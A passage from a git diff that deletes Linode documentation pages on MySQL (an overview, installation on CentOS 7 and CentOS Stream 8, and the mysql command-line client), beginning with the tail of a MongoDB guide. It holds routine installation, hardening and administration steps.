applications written in different languages to use the same database without the strict need for an object data mapper (ODM). If you do want to use an object data mapper, however, many well-supported ODMs are available. - -The `mongodb-org-tools` package we installed also includes several other tools such as `mongodump` and `mongorestore` for creating and restoring backups and snapshots, as well as `mongoimport` and `mongoexport` for importing and exporting content from extended JSON, or supported CSV or TSV files. - -To view the available options or how to use a particular method, append `.help()` to the end of your commands. For example, to see a list of options for the `find` method in Step 6 of [Manage Data and Collections](#manage-data-and-collections): - - db.exampleCollection.find().help() diff --git a/docs/guides/databases/mysql/an-overview-of-mysql/index.md b/docs/guides/databases/mysql/an-overview-of-mysql/index.md deleted file mode 100644 index c5d007b8cbd..00000000000 --- a/docs/guides/databases/mysql/an-overview-of-mysql/index.md +++ /dev/null @@ -1,62 +0,0 @@ ---- -slug: an-overview-of-mysql -title: "What Is MySQL: An Overview" -title_meta: "An Overview of MySQL" -description: 'Learn what MySQL is, how it’s commonly used, and how it compares to other databases.' -authors: ["Jeff Novotny"] -contributors: ["Jeff Novotny"] -published: 2022-01-07 -modified: 2022-06-06 -keywords: ['what is mysql', 'sql vs mysql','mysql overview'] -tags: ['mysql', 'nosql'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Official MySQL documentation](https://dev.mysql.com/doc/)' ---- - -## What is the MySQL Database? - -MySQL is an [relational database management system (RDBMS)](/cloud/guides/relational-database-overview/) that implements SQL. It was originally designed for use with small-to-medium-sized databases, but it can now handle even very large amounts of stored data. MySQL is written in C/C++ and is mostly compliant with the SQL standard. However, it adds many extensions and emphasizes speed and reliability over perfect compliance. A more detailed discussion about MySQL and SQL compliance can be found in the [MySQL documentation on Compliance Standards](https://dev.mysql.com/doc/refman/8.0/en/compatibility.html). - -The basic version of MySQL is distributed by the Oracle Corporation and is available for free under an open-source license. The current release of MySQL is 8.0. MySQL can be used on any Linux distribution and on most other platforms. It is an important component of the open-source [*LAMP stack*](/cloud/guides/how-to-install-a-lamp-stack-on-ubuntu-20-04/), along with Linux, Apache, and the PHP programming language. The LAMP stack is the cornerstone of open-source web application development on Linux. MySQL can be used as part of a client/server system or as part of an embedded system. - -Like all RDBMS applications, MySQL is a relational database. Administrators and users define relationships within and between the tables in the database. Different columns can be marked as either required or optional and can serve as a primary key or as a pointer to another table. MySQL is stable, reliable, and easy to use. Here are some specific advantages of MySQL: - -- MySQL is a mature, popular, and well-established product. It has more community support than other open-source databases, and better reference material and documentation. -- MySQL can be configured to be *ACID-compliant* when used with the InnoDB storage system. The acronym ACID stands for Atomicity, Consistency, Isolation, and Durability. This means it can guarantee data validity in spite of any errors, failures, or outages. -- It is known for its high performance, due to features such as optimized class libraries, compression, memory allocation, and hash tables. It supports multi-threaded kernel threads for more efficient operation on systems with multiple CPUs. -- It supports very large databases, storing up to hundreds of millions of records and up to 64 indexes per table. -- MySQL provides enhanced security mechanisms, including encryption of all passwords. -- It allows for data replication and redundancy for enhanced reliability. -- MySQL provides support for aliases on tables and columns, and full support for many different character sets. -- MySQL works well with PHP, which is widely used in web development. -- It works with many different compilers and on many different platforms, and is designed to be portable between systems. Client programs can be written in many languages. MySQL provides APIs for C/C++, PHP, Java, Python, Ruby, and Perl. -- MySQL is available as a library that can be embedded into stand-alone applications. -- MySQL is packaged with several convenient client utilities, including `mysqldump` and `mysqladmin`. Users can verify, optimize, and repair tables using the `mysqlcheck` program. -- The MySQL open source license allows developers to customize MySQL and modify the source code to meet their requirements. - -MySQL is also available in a more fully-featured Enterprise Edition, with full customer support. For information on installing MySQL on Ubuntu or other Linux platforms, consult the Linode guide on [Installing and Configuring MySQL on Ubuntu 20.04](/cloud/guides/installing-and-configuring-mysql-on-ubuntu-2004/). - -## What are the MySQL Client and Server? - -The MySQL client and MySQL server are two different components that work together in a networked architecture. There is usually one central server and one or more clients. The MySQL database server application is installed on a host, often as part of the LAMP stack. This server stores the database configuration and data, and responds to queries from clients. It also enforces security and any access control system and replicates and archives data as required. The same server can host multiple databases for different clients. - -The MySQL client enables users to connect with a MySQL server, either on the same system or on a different host. The client sends SQL queries to the server to read from, or write to a database. The MySQL client also administers, maintains, and secures the client. A stand-alone client is recommended for users who only want to connect to a remote database to run queries. Administrators who want to host a database on the server must install the full MySQL server package. The server installation includes a client to create and administer the database. - -The standard MySQL command line client utility is named `mysql`. It can be installed without the server component using the command `yum install mysql` or `apt-get install mysql-client`. To access the MySQL client, use the command `mysql `. The username, password, and server IP address can be specified using additional parameters. - -When the user successfully logs in, the client displays the MySQL prompt `mysql>`. The user can then run SQL commands. For more information about installing and using MySQL, consult the Linode guide on [How to Connect to a MySQL or MariaDB Database](/cloud/guides/mysql-command-line-client/). - -## What is MySQL Used For? - -MySQL is a versatile RDBMS for use with a data set of any size. It can be considered any time an application must store and retrieve data. MySQL was originally developed for small to medium-size single-server configurations. But with recent performance and scalability improvements, it can be used virtually anywhere in an application of any size. Even large companies including Uber, Airbnb, and Shopify use MySQL. - -Users must install MySQL to configure WordPress. WordPress uses MySQL to store all its data and configuration files, and dynamically interacts with MySQL to display and create web pages. Users do not necessarily have to understand SQL to use WordPress. However, it can come in handy when performing advanced customizations. On Linux, WordPress is often installed as a package along with MySQL and the rest of the LAMP stack. For more information on how to configure MySQL and WordPress, see the Linode guide on [Installing WordPress on Ubuntu 20.04](/cloud/guides/how-to-install-wordpress-ubuntu-2004/). - -Other common applications for MySQL include data warehousing, transaction processing, reservation systems, e-commerce, and web databases. For example, a MySQL database can maintain the product list and inventory for an online store. - -## Conclusion - -This guide answers the commonly-asked question, "What is a MySQL database?" MySQL is a relational database that organizes data based on the relationships between tables and fields. It is a type of Relational DataBase Management System (RDBMS), which stores entries as rows within tables. Each row consists of a number of columns, which represent the different attributes of the data record. The database-specific SQL programming language is used to store and retrieve data from MySQL. SQL uses a series of discrete statements and is intended to work with RDBMS systems. - -MySQL is known for its ability to store large tables and vast amounts of data, as well as for its speed and reliability. It provides APIs for many common programming languages and is packaged with several useful utilities. The MySQL server stores data and response to requests from MySQL clients. The client is always packaged with the server, but it can be used as a stand-alone application to communicate with remote databases. MySQL is used in many widely-known companies and is essential for those who want to use WordPress. However, it is also used in web databases and data warehousing. For more information on MySQL, see the [MySQL documentation](https://dev.mysql.com/doc/). If you are writing your first MySQL-based application, review our guide [SQL Injection Attack: What It Is and How to Prevent It](/cloud/guides/sql-injection-attack/) to learn more about this security vulnerability. diff --git a/docs/guides/databases/mysql/how-to-install-mysql-on-centos-7/index.md b/docs/guides/databases/mysql/how-to-install-mysql-on-centos-7/index.md deleted file mode 100644 index eceb3358cc0..00000000000 --- a/docs/guides/databases/mysql/how-to-install-mysql-on-centos-7/index.md +++ /dev/null @@ -1,218 +0,0 @@ ---- -slug: how-to-install-mysql-on-centos-7 -title: "Installing MySQL on CentOS 7" -title_meta: "Install MySQL CentOS 7: A How To" -description: "This article is a guide to getting started with the popular database management system software, MySQL, including how to install the service on CentOS 7." -authors: ["Linode"] -contributors: ["Linode"] -published: 2015-08-27 -modified: 2017-09-05 -keywords: ["MySQL on Linux", "CentOS", "cloud", "cloud hosting", "Linux", "MySQL", "database", "MariaDB", "install MySQL", "secure MySQL", "mysqltuner"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[MySQL 5.6 Reference Manual](https://dev.mysql.com/doc/refman/5.6/en/index.html)' - - '[PHP MySQL Manual](http://us2.php.net/manual/en/book.mysql.php)' - - '[Perl DBI examples for DBD::mysql](http://sql-info.de/mysql/examples/Perl-DBI-examples.html)' - - '[MySQLdb User''s Guide](http://mysql-python.sourceforge.net/MySQLdb.html)' - - '[MySQL Tuner Tutorial](http://www.debiantutorials.com/tuning-mysql-with-mysqltuner-to-increase-efficiency-and-performance)' -relations: - platform: - key: how-to-install-mysql - keywords: - - distribution: CentOS 7 -tags: ["database","mysql","centos"] -aliases: ['/databases/mysql/how-to-install-mysql-on-centos-7/'] -image: how-to-install-mysql-on-centos-7.png ---- - -MySQL is a popular database management system used for web and server applications. However, MySQL is no longer in CentOS's repositories and MariaDB has become the default database system offered. MariaDB is considered a [drop-in replacement ](https://mariadb.com/kb/en/mariadb/mariadb-vs-mysql-compatibility/) for MySQL and would be sufficient if you just need a database system in general. See our [MariaDB in CentOS 7](/cloud/guides/how-to-install-mariadb-on-centos-7/) guide for installation instructions. - -If you nonetheless prefer MySQL, this guide will introduce how to install, configure and manage it on a Linode running CentOS 7. - -Large MySQL databases can require a considerable amount of memory. For this reason, we recommend using a [High Memory Linode](https://www.linode.com/pricing/) for such setups. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you're not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Before You Begin - -1. Ensure that you have followed the [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guides, and the Linode's [hostname is set](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-custom-hostname). - - To check your hostname run: - - hostname - hostname -f - - The first command should show your short hostname, and the second should show your fully qualified domain name (FQDN). - -2. Update your system: - - sudo yum update - -3. You will need `wget` to complete this guide. It can be installed as follows: - - yum install wget - -## Install MySQL - -MySQL must be installed from the [community repository](https://dev.mysql.com/downloads/repo/yum/). - -1. Download and add the repository, then update. - - wget http://repo.mysql.com/mysql-community-release-el7-5.noarch.rpm - sudo rpm -ivh mysql-community-release-el7-5.noarch.rpm - yum update - -2. Install MySQL as usual and start the service. During installation, you will be asked if you want to accept the results from the .rpm file's GPG verification. If no error or mismatch occurs, enter `y`. - - sudo yum install mysql-server - sudo systemctl start mysqld - -MySQL will bind to localhost (127.0.0.1) by default. Please reference our [MySQL remote access guide](/cloud/guides/create-an-ssh-tunnel-for-mysql-remote-access/) for information on connecting to your databases using SSH. - -{{< note >}} -Allowing unrestricted access to MySQL on a public IP not advised but you may change the address it listens on by modifying the `bind-address` parameter in `/etc/my.cnf`. If you decide to bind MySQL to your public IP, you should implement firewall rules that only allow connections from specific IP addresses. -{{< /note >}} - -## Harden MySQL Server - -1. Run the `mysql_secure_installation` script to address several security concerns in a default MySQL installation. - - sudo mysql_secure_installation - -You will be given the choice to change the MySQL root password, remove anonymous user accounts, disable root logins outside of localhost, and remove test databases. It is recommended that you answer `yes` to these options. You can read more about the script in the [MySQL Reference Manual](https://dev.mysql.com/doc/refman/5.6/en/mysql-secure-installation.html). - -{{< note >}} -If MySQL 5.7 was installed, you will need the temporary password that was created during installation. This password is notated in the `/var/log/mysql.log` file, and can be quickly found using the following command. - - sudo grep 'temporary password' /var/log/mysqld.log -{{< /note >}} -## Using MySQL - -The standard tool for interacting with MySQL is the `mysql` client which installs with the `mysql-server` package. The MySQL client is used through a terminal. - -### Root Login - -1. To log in to MySQL as the root user: - - mysql -u root -p - -2. When prompted, enter the root password you assigned when the mysql_secure_installation script was run. - - You'll then be presented with a welcome header and the MySQL prompt as shown below: - - mysql> - -3. To generate a list of commands for the MySQL prompt, enter `\h`. You'll then see: - - List of all MySQL commands: - Note that all text commands must be first on line and end with ';' - ? (\?) Synonym for `help'. - clear (\c) Clear command. - connect (\r) Reconnect to the server. Optional arguments are db and host. - delimiter (\d) Set statement delimiter. NOTE: Takes the rest of the line as new delimiter. - edit (\e) Edit command with $EDITOR. - ego (\G) Send command to mysql server, display result vertically. - exit (\q) Exit mysql. Same as quit. - go (\g) Send command to mysql server. - help (\h) Display this help. - nopager (\n) Disable pager, print to stdout. - notee (\t) Don't write into outfile. - pager (\P) Set PAGER [to_pager]. Print the query results via PAGER. - print (\p) Print current command. - prompt (\R) Change your mysql prompt. - quit (\q) Quit mysql. - rehash (\#) Rebuild completion hash. - source (\.) Execute an SQL script file. Takes a file name as an argument. - status (\s) Get status information from the server. - system (\!) Execute a system shell command. - tee (\T) Set outfile [to_outfile]. Append everything into given outfile. - use (\u) Use another database. Takes database name as argument. - charset (\C) Switch to another charset. Might be needed for processing binlog with multi-byte charsets. - warnings (\W) Show warnings after every statement. - nowarning (\w) Don't show warnings after every statement. - - For server side help, type 'help contents' - - mysql> - -### Create a New MySQL User and Database - -1. In the example below, `testdb` is the name of the database, `testuser` is the user, and `password` is the user's password. - - create database testdb; - create user 'testuser'@'localhost' identified by 'password'; - grant all on testdb.* to 'testuser' identified by 'password'; - - You can shorten this process by creating the user *while* assigning database permissions: - - create database testdb; - grant all on testdb.* to 'testuser' identified by 'password'; - -2. Then exit MySQL. - - exit - -### Create a Sample Table - -1. Log back in as `testuser`. - - mysql -u testuser -p - -2. Create a sample table called *customers*. This creates a table with a customer ID field of the type INT for integer (auto-incremented for new records, used as the primary key), as well as two fields for storing the customer's name. - - use testdb; - create table customers (customer_id INT NOT NULL AUTO_INCREMENT PRIMARY KEY, first_name TEXT, last_name TEXT); - -3. Then exit MySQL. - - exit - -## Reset the MySQL Root Password - -If you forget your root MySQL password, it can be reset. - -1. Stop the current MySQL server instance, then restart it with an option to not ask for a password. - - sudo systemctl stop mysqld - sudo mysqld_safe --skip-grant-tables & - -2. Reconnect to the MySQL server with the MySQL root account. - - mysql -u root - - -3. Use the following commands to reset root's password. Replace `password` with a strong password. - - use mysql; - update user SET PASSWORD=PASSWORD("password") WHERE USER='root'; - flush privileges; - exit - -4. Then restart MySQL. - - sudo systemctl start mysqld - - -## Tune MySQL - -[MySQL Tuner](https://github.com/major/MySQLTuner-perl) is a Perl script that connects to a running instance of MySQL and provides configuration recommendations based on workload. Ideally, the MySQL instance should have been operating for at least 24 hours before running the tuner. The longer the instance has been running, the better advice MySQL Tuner will give. - -1. Download MySQL Tuner to your home directory. - - wget https://raw.githubusercontent.com/major/MySQLTuner-perl/master/mysqltuner.pl - -2. To run it: - - perl ./mysqltuner.pl - - You will be asked for the MySQL root user's name and password. The output will show two areas of interest: General recommendations and Variables to adjust. - -MySQL Tuner is an excellent starting point to optimize a MySQL server but it would be prudent to perform additional research for configurations tailored to the application(s) utilizing MySQL on your Linode. - -{{< community >}} -* [How to install phpMyAdmin on Centos7](https://www.linode.com/community/questions/16988/completing-install-of-phpmyadmin-on-centos-7) -* [How can I setup a LAMP/LEMP stack on my Linode?](https://www.linode.com/community/questions/62/how-can-i-set-up-a-lamplemp-stack-on-my-linode) -* [How do I run both MySQL and MongoDB?](https://www.linode.com/community/questions/425/how-do-i-run-both-mysql-and-mongodb) -{{}} diff --git a/docs/guides/databases/mysql/how-to-install-mysql-on-centos8/index.md b/docs/guides/databases/mysql/how-to-install-mysql-on-centos8/index.md deleted file mode 100644 index 380212572e6..00000000000 --- a/docs/guides/databases/mysql/how-to-install-mysql-on-centos8/index.md +++ /dev/null @@ -1,239 +0,0 @@ ---- -slug: how-to-install-mysql-on-centos8 -title: "How to Install MySQL on CentOS 8" -title_meta: "Installing MySQL on CentOS 8" -description: 'Learn how to install MySQL on CentOS 8 Linux on a cloud server with cloud apps.' -authors: ["John Mueller"] -contributors: ["John Mueller"] -published: 2022-10-11 -keywords: ['Install MySQL on CentOS 8', 'Install MySQL on CentOS Stream 8', 'Install MySQL', 'CentOS 8', 'Connect MySQL to CentOS 8', 'Install MySQL server in Linux'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[MySQL vs MariaDB](https://blog.devart.com/mysql-vs-mariadb.html)' -- '[MariaDB vs MySQL compatibility](https://mariadb.com/kb/en/mariadb-vs-mysql-compatibility/)' -- '[Introduction to Uncomplicated Firewall](https://www.linux.com/training-tutorials/introduction-uncomplicated-firewall-ufw/)' ---- - -## How to Install MySQL on CentOS Stream 8 - -Most business applications require access to data, which in turn makes it important to know how to install and manage a Database Management System (DBMS). There are different types of DBMS, but the most popular is the Relational DBMS (RDBMS) which is based on Structured Query Language (SQL). One of the most popular RDBMS is MySQL. This guide explains how to download, and install MySQL on CentOS Stream 8, and set up important configurations. - - -## The Difference Between MySQL and MariaDB - -Before we get started, understand the relationship between MySQL and MariaDB through their shared history. MySQL is an open-source RDBMS used for everything from small-scale to large-scale industrial applications. Oracle purchased MySQL in May 1995. However, Oracle’s vision of what MySQL should be fell short of some of MySQL developers' and users' expectations. These developers created MariaDB based on the Community Edition of MySQL and released it in October 2009. - -MariaDB is touted as a drop-in replacement for MySQL, but there are differences between the two products. A significant number of features present in MariaDB make the move to the RDBMS a one-way process. Especially, when you plan to use the advanced features without using some sort of special tool to help with the transfer. It also pays to know that [MySQL and MariaDB vary in functionality](https://blog.devart.com/mysql-vs-mariadb.html). For example, MySQL doesn’t support `JSON_EXISTS` or `JSON_QUERY`, and MariaDB lacks support for `JSON_TABLE`. When it comes to SQL support, MySQL provides superior indexing capabilities, while MariaDB supports sequences. The following table provides a quick overview of the significant differences between the two products: - -| Feature | MySQL | MariaDB | -|-----------------------------------------------------------|-------------------------|-------------------------| -| Underlying development languages | C/C++ | C/C++ | -| Maturity | Developed in 1995 so it has a long-term existence. [The server currently has 8K stars and 3.1 forks on GitHub.](https://github.com/mysql/mysql-server) | Developed in 2009 so it’s less mature, especially given the use of additional development languages. [The server currently has 4.4k stars and 1.4k forks on GitHub.](https://github.com/MariaDB/server) | -| Server Operating Systems | [FreeBSD, Linux, OS X, Solaris, and Windows](https://www.mysql.com/support/supportedplatforms/database.html)| [Linux and Windows](https://mariadb.com/docs/deploy/operating-systems/) | -| Compatibility | [MySQL and MariaDB have different views of JSON support.](https://mariadb.com/kb/en/mariadb-vs-mysql-compatibility/#incompatibilities-between-currently-supported-mariadb-versions-and-mysql) MySQL uses the Internet Engineering Task Force (IETF) [RFC 7159](https://datatracker.ietf.org/doc/html/rfc7159) and [RFC 7396](https://datatracker.ietf.org/doc/html/rfc7396) standards for JSON support.| [Drop-in compatibility with MySQL up to version 5.5.](https://mariadb.com/kb/en/mariadb-vs-mysql-compatibility/) Since then, new features make MariaDB increasingly incompatible with MySQL, so it’s important to verify compatibility before using MariaDB in an existing application. | -| Linux Distributions that include as part of Distribution | Unknown | Some of the most popular Linux distributions [include MariaDB by default](https://mariadb.com/kb/en/distributions-which-include-mariadb/): CentOS, Debian, Fedora, OpenSUSE, and Red Hat Enterprise. | -| Companies Using | [At least 5,878](https://stackshare.io/mysql) companies (not including development firms) currently use MySQL, including Uber, Airbnb, Shopify, Pinterest, Netflix, Amazon, Udemy, and Twitter. | The number of verified companies using MariaDB varies, but [featured customers](https://mariadb.com/resources/customer-stories/) include: Samsung, Virgin Media, Red Hat, Nokia, Select Quote, Tock, Walgreens, Pixid, Development Bank of Singapore (DBS), and Whitebox. | - - -## Download and Install MySQL Server - -The steps in this section detail installing MySQL on [CentOS Stream 8](https://linuxhint.com/what_is_centos_stream/). The process also works well with the older, and now deprecated, CentOS 8. The goal is to connect MySQL to CentOS 8, no matter what form it takes. Ultimately, you install MySQL server on Linux using the following steps: - -1. Update the system using the command below: - - ```command - sudo dnf update - ``` - - A message displays at the end with the number of packages that need to be upgraded. - - - You may see some messages during the update process, such as whether the upgrade requires additional disk space. If additional disk space is required, type `Y` and press **Enter** to continue. - - - A progress indicator is shown for each upgrade to keep the user apprised of how the process is going. - - - In case there is a kernel upgrade, reboot your system to reflect the changes after the upgrade. - - - Restart the services with outdated libraries using the GUI screens provided. - -1. Perform required package upgrades to keep the system up to date. - - ```command - sudo dnf upgrade - ``` - - During the update process, you may be asked questions such as if you want to use additional disk space. Also, a progress indicator is shown anytime the system performs an upgrade. Mostly, you see a message telling you that the upgrades completed at the same time as the updates, so there is nothing to upgrade. - -1. MySQL 8 is conveniently provided as part of the default repositories for CentOS Stream 8. You can directly run the command for MySQL set up as below. - - ```command - sudo dnf install @mysql - ``` - - As with the update process, you are asked questions like whether you want to use additional disk space and also see the progress indicator. - -1. Start the MySQL server using the command below: - - ```command - sudo systemctl start mysqld.service - ``` - -1. Verify the status of MySQL 8.0. - - ```command - sudo systemctl status mysqld - ``` - - You see output similar to that shown below: - - ```output - mysqld.service - MySQL 8.0 database server - Loaded: loaded (/usr/lib/systemd/system/mysqld.service; disabled; vendor preset: disabled) - Active: active (running) since Fri 2022-07-29 15:53:50 UTC; 52s ago - Process: 29625 ExecStartPost=/usr/libexec/mysql-check-upgrade (code=exited, status=0/SUCCESS) - Process: 29501 ExecStartPre=/usr/libexec/mysql-prepare-db-dir mysqld.service (code=exited, status=0/SUCCESS) - Process: 29477 ExecStartPre=/usr/libexec/mysql-check-socket (code=exited, status=0/SUCCESS) - Main PID: 29581 (mysqld) - Status: "Server is operational" - Tasks: 38 (limit: 4921) - Memory: 456.1M - CGroup: /system.slice/mysqld.service - └─29581 /usr/libexec/mysqld --basedir=/usr - - Jul 29 15:53:37 172-105-17-53.ip.linodeusercontent.com systemd[1]: Starting MySQL 8.0 database server... - Jul 29 15:53:37 172-105-17-53.ip.linodeusercontent.com mysql-prepare-db-dir[29501]: Initializing MySQL database - Jul 29 15:53:50 172-105-17-53.ip.linodeusercontent.com systemd[1]: Started MySQL 8.0 database server. - ``` - -1. Allow MySQL 8 to automatically start every time you reboot your server using the command below: - - ```command - sudo systemctl enable mysqld - ``` - - Your MySQL server is now ready to use. - -## Configure MySQL Using MySQL Installation Script - -For a safer MySQL installation, use the `mysql_secure_installation` script to create a secure environment. The following steps show you how: - -1. Run `mysql_secure_installation` script. You may be asked to provide the `root` password. - - ```command - sudo mysql_secure_installation - ``` - - A welcome message is displayed on the screen and then the option to install `VALIDATE PASSWORD COMPONENT`. This component verifies that users are relying on strong passwords to log into MySQL, so it’s an important addition to your security suite. - -1. Type `Y` and press **Enter** to install the component. If you choose to install `VALIDATE PASSWORD COMPONENT`, go through the following series of sub-steps to install the same: - - - Firstly you need to set the password validation policy. Here, `0` is for low, `1` for medium, and `2` for strong. Setting a strong password option is the best option because it requires a password length of at least eight characters and the use of numeric, mixed case, special characters, and words that don’t appear in the dictionary. Enter a numeric value in a valid range of `0` and `3`, then press `Enter`. - - - Enter the `root` user password. Type a password that matches the validation policy you set and press **Enter**. You are shown the strength of the password you entered, with 100 being quite strong. In case you do not wish to change the password, press **Enter** to signify no changes in the MySQL `root` user’s password. - - - Type `Y` and press **Enter** if you’re happy with the password. - - - Now, you are prompted if you want to remove anonymous users. Type `Y` and press **Enter** unless you want to allow users without authentication to access your server. - - - Further, you are prompted if you want to disallow remote logins. Remote login access is required to access the MySQL server from outside, so press **Enter** to signify no. - - - Next in the script, it prompts the user to remove the test database. The test database can be helpful during the experimental phase of MySQL. If you wish to remove the test database type `Y` and press **Enter**. Press **Enter** if you want to keep the test database. - - - The next prompt is important because you need to reload the privilege tables for the changes to become permanent and have immediate effect. Type `Y` and press **Enter**. MySQL is now configured. - -## Start, Stop, and Restart MySQL on CentOS Stream 8 - -As you work with MySQL on CentOS Stream 8, ensure that the server is in the expected state. Check the status of the MySQL server using the command below: - -```command -sudo systemctl status mysqld -``` - -The output shows MySQL as started and enabled. The following is a list of helpful commands to start, stop, and restart MySQL as needed: - -- **Start MySQL server**: - -```command -sudo systemctl start mysqld.service -sudo systemctl enable mysqld -``` - -- **Stop MySQL server**: - -```command -sudo systemctl stop mysqld.service -sudo systemctl disable mysqld -``` - -- **Restart MySQl server**: - -```command -sudo systemctl restart mysqld.service -``` - -## Test the Installation - -To run a quick test of your MySQL installation, run the below command to verify the service runtime status. - -```command -sudo systemctl status mysqld -``` - -Then, perform the following checks: - -1. **Check MySQL version**: Use the command below to check the version of MySQL installed. You are asked for the password that you created earlier. If the entered password is successful, you see information about your version of MySQL. - - ```command - mysqladmin -u root -p version - ``` - -1. **Access MySQL server**: You can access the MySQL server with the following sub-steps: - - - Login to MySQL as the `root` user. Provide the root user password when prompted. - - ```command - mysql -u root -p - ``` - - - Create a database named `Test` in MySQL server. - - ```command - CREATE DATABASE Test; - ``` - - {{< note >}} -Don’t forget the semicolon at the end of the command. - {{< /note >}} - - MySQL gives the following output: - - ```output - Query OK, 1 rows affected (0.00 sec) - ``` - - - To check the list of current databases, which includes the ``Test`` database, on MySQL, run the command below: - - ```command - SHOW DATABASES; - ``` - - - To remove a database from the server, run the command below: - - ```command - DROP DATABASE Test; - ``` - - - Again, check the list of databases present on the MySQL server. Now you have the latest list of available databases. You see `Test` database deleted in the previous step is missing from the list. - - ```command - SHOW DATABASES; - ``` - - - Exit MySQL and return to the terminal prompt. - - ```command - EXIT - ``` - -## Conclusion - -One of the biggest takeaways is that both MySQL and MariaDB provide enterprise-level database functionality. Each has its specialization. Installing either product is relatively easy using the Package Manager. When installing MySQL, take additional steps when working with the [MySQL installation script](/cloud/guides/how-to-install-mysql-on-centos8/#configure-mysql-using-mysql-installation-script). Remote access to MySQL setup requires that you configure MySQL to allow remote login and then set up UFW as well. diff --git a/docs/guides/databases/mysql/mysql-command-line-client/index.md b/docs/guides/databases/mysql/mysql-command-line-client/index.md deleted file mode 100644 index 886316c94b9..00000000000 --- a/docs/guides/databases/mysql/mysql-command-line-client/index.md +++ /dev/null @@ -1,122 +0,0 @@ ---- -slug: mysql-command-line-client -title: "Connect to a MySQL Database Using the mysql Command" -description: "This guide shows you how to install and use the MySQL command-Line client to connect to a database and run SQL commands." -authors: ["Linode"] -contributors: ["Linode"] -published: 2022-07-01 -modified: 2024-11-14 -keywords: ['mysql connect','remote database','mysql database'] -tags: ['mysql'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/guides/connect-to-a-mysql-or-mariadb-database/'] -external_resources: -- '[MySQL Command-Line Client documentation](https://dev.mysql.com/doc/refman/8.0/en/mysql.html)' ---- - -This guide shows you how to connect to a MySQL database using [mysql](https://dev.mysql.com/doc/refman/8.0/en/mysql.html), the MySQL command-line client. This opens up a simple SQL shell environment, allowing you to perform [SQL queries and commands](/cloud/guides/sql-commands/) on your database. If you require more advanced capabilities, consider using the [MySQL Shell](https://dev.mysql.com/doc/mysql-shell/8.0/en/). - -{{< note >}} -If you wish to connect to a MySQL Managed Database, review the [Connect to a MySQL Managed Database](https://techdocs.akamai.com/cloud-computing/docs/connect-to-a-mysql-managed-database) guide instead. -{{< /note >}} - -## Before You Begin - -- **Obtain the connection details for the MySQL instance you wish to use.** If you do not have a MySQL instance yet, you can [create a Managed Database](https://techdocs.akamai.com/cloud-computing/docs/managed-databases), [deploy the MySQL Quick Deploy App](https://www.linode.com/marketplace/apps/linode/mysql-mariadb/), or [install MySQL server (or MariaDB) on a Compute Instance](/cloud/guides/install-mysql/). **This instance must allow remote connections or you must run the mysql command from within same system.** - - {{% content "dbass-eos" %}} - -- **Ensure mysql is installed and is compatible with the MySQL version on your database server.** Run the following command on the system you intend on using to verify that mysql is installed. - - mysql --version - - This should inform you which version you are using. If the command is not found or you are not on a compatible version, see the [Installing MySQL](/cloud/guides/install-mysql/) guide. - -{{< note >}} -The steps in this guide are written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, see the [Linux Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## General mysql Syntax - -The main purpose of the mysql utility is to connect to a MySQL database server and open a simple SQL shell environment. The mysql command can be used to connect to either a *local* or *remote* database server. In the commands provided below, see the [Common Command Options](#common-command-options) for information on each of the available options. - -- **Local database server**: Use this command when connecting to a MySQL Server instance running on the same machine you are using. - - mysql -u [username] -p - -- **Remote database server**: In many cases, the database server is not on the same system you are using. In these cases, you can SSH in to the remote system (if permitted) and run the command above to connect to a local MySQL instance. Alternatively, you can use the mysql command to remotely connect to the database. If your MySQL server does not allow remote connections or your user cannot connect remotely, see [Configure the Database Server to Allow Remote Connections](#configure-the-database-server-to-allow-remote-connections). - - mysql -h [host] -p [port] -u [username] -p - -## Common Command Options - -The following list is a collection of common options used with the mysqldump command. At minimum, the username and password is required. When connecting to a remote database server, the host (and perhaps the port) should be provided. For a full list of available options, reference the [Command Options for Connecting to the Server](https://dev.mysql.com/doc/refman/8.0/en/connection-options.html) documentation. - -- **Username** (`--user=[]` or `-u []`): The username of your MySQL user. This user must have proper grants to access the database. - -- **Password** (`--password=[]` or `-p[]`): Specifies that the user's password is required for the connection. The password can be entered directly in the command itself (though that is not recommended due to security concerns) or the password can be omitted (by just using the `--password` option with no value). In the password is omitted, mysql prompts you for the password before connecting to the database. For more details about password security, see MySQL's [End-User Guidelines for Password Security](https://dev.mysql.com/doc/refman/8.0/en/password-security-user.html). - -- **Host** (`--host=[]` or `-h []`): The IP address or FQDN (fully qualified domain name) of the remote database server. You can omit this option from the command if you are connecting to a local MySQL instance on your same system. - -- **Port** (`--port=[]` or `-P []`): The port number of that the MySQL database instance uses. This can be omitted if your MySQL instance uses the default port of `3306`. - -- **SSL Settings** (`--ssl-mode`): This controls if the connection should be encrypted. This can be set to `DISABLED` (unencrypted - not recommended), `PREFERRED` (tries an encrypted connection first before falling back to unencrypted), or `REQUIRED` (fails if an encrypted connection can't be established. If omitted, this option is automatically set to `PREFERRED`. You can also set this to `VERIFY_CA` or `VERIFY_IDENTITY` to require an encrypted connection and either verify the CA certificate or both verify the CA certificate and the host name identity. - -If you are frequently connecting to the same database, you can securely store many of these options (including the password). See the [Securely Storing Credentials](/cloud/guides/securely-store-mysql-credentials/) guide. Other options can be stored in an [option file](https://dev.mysql.com/doc/refman/8.0/en/option-files.html). - -## Configure the Database Server to Allow Remote Connections - -If you have installed the MySQL server yourself (not through a managed service) and wish to connect to a database remotely without first logging in to the database server through SSH, you may need to modify a few settings. This can be useful if you want to limit SSH access but still permit database access. - -Refer to our [Create an SSH Tunnel for MySQL Remote Access](/cloud/guides/create-an-ssh-tunnel-for-mysql-remote-access/) to learn how to connect to your database using an SSH tunnel. - -1. Make sure your database has a user set up to allow connections from your local machine's IP address. - - The example below displays a series of 